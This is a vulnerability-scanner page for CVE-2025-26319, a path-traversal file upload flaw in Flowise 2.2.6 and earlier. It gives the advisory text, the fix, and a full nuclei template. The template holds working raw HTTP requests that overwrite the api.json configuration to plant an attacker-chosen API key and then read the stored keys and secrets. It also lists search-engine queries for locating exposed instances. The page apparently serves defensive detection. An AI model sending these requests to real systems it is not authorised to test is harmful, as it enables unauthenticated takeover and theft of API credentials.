Browse / CVEs / CVE-2025-26319
CVE-2025-26319· FlowiseAI / Flowise· CWE-434
FlowiseAI Flowise <= 2.2.6 - Arbitrary File Upload
FlowiseAI Flowise version 2.2.6 and below contains an arbitrary file upload vulnerability in the /api/v1/attachments endpoint. This vulnerability allows an unauthenticated attacker to upload files outside the intended directory through path traversal, potentially leading to API key exposure and remote code execution. The vulnerability can be exploited by uploading a malicious file to overwrite the .flowise/api.json configuration file.
Impact
Unauthenticated attackers can exploit path traversal in file uploads to overwrite the api.json configuration file, potentially exposing API keys and achieving remote code execution.
Fix
Upgrade to FlowiseAI Flowise version 2.2.7 or later that properly validates file upload paths.
How to confirm it
Send: POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2froot%2f/.flowise
Positive when: contains "name\":" and "mimeType\":\"text/plain"
Send: GET /api/v1/apikey ; DELETE /api/v1/apikey/1111
Positive when: contains "apiKey\":\"" and "apiSecret\":" and "chatFlows" AND status 200Run it with nuclei: nuclei -id CVE-2025-26319 -u <target>
The full check
id: CVE-2025-26319
info:
name: FlowiseAI Flowise <= 2.2.6 - Arbitrary File Upload
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
FlowiseAI Flowise version 2.2.6 and below contains an arbitrary file upload vulnerability in the /api/v1/attachments endpoint. This vulnerability allows an unauthenticated attacker to upload files outside the intended directory through path traversal, potentially leading to API key exposure and remote code execution. The vulnerability can be exploited by uploading a malicious file to overwrite the .flowise/api.json configuration file.
impact: |
Unauthenticated attackers can exploit path traversal in file uploads to overwrite the api.json configuration file, potentially exposing API keys and achieving remote code execution.
remediation: |
Upgrade to FlowiseAI Flowise version 2.2.7 or later that properly validates file upload paths.
reference:
- https://github.com/advisories/GHSA-69jq-qr7w-j7qh
- https://github.com/FlowiseAI/Flowise
- https://nvd.nist.gov/vuln/detail/CVE-2025-26319
classification:
epss-score: 0.55869
epss-percentile: 0.99051
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2025-26319
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
vendor: FlowiseAI
product: Flowise
shodan-query: title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2025,flowise,fileupload,intrusive,vkev,vuln,ai
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2froot%2f/.flowise HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydTh0yj8zypRgPT1w
------WebKitFormBoundarydTh0yj8zypRgPT1w
Content-Disposition: form-data; name="files";filename="api.json"
Content-type: text/plain
[{
"keyName":"=",
"apiKey":"24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ",
"apiSecret":"8648f55db62716a6577b565efb66145b9ad8c50884c57ae8d4f03c4cd8b3ee27b1f77804d320f08bac8aa4b0dbf58a39dacbb767eb05efe1e57d5c66e5d48473.af4b3f229bd11ac5",
"createdAt":"111",
"id":"1111"
}]
------WebKitFormBoundarydTh0yj8zypRgPT1w--
matchers:
- type: word
part: body
words:
- 'name":'
- 'mimeType":"text/plain'
condition: and
internal: true
- raw:
- |
GET /api/v1/apikey HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ
- |
DELETE /api/v1/apikey/1111 HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'apiKey":"'
- 'apiSecret":'
- 'chatFlows'
condition: and
- type: status
status:
- 200References
- https://github.com/advisories/GHSA-69jq-qr7w-j7qh
- https://github.com/FlowiseAI/Flowise
- https://nvd.nist.gov/vuln/detail/CVE-2025-26319
Use this check only on systems you are authorised to test. Where the data comes from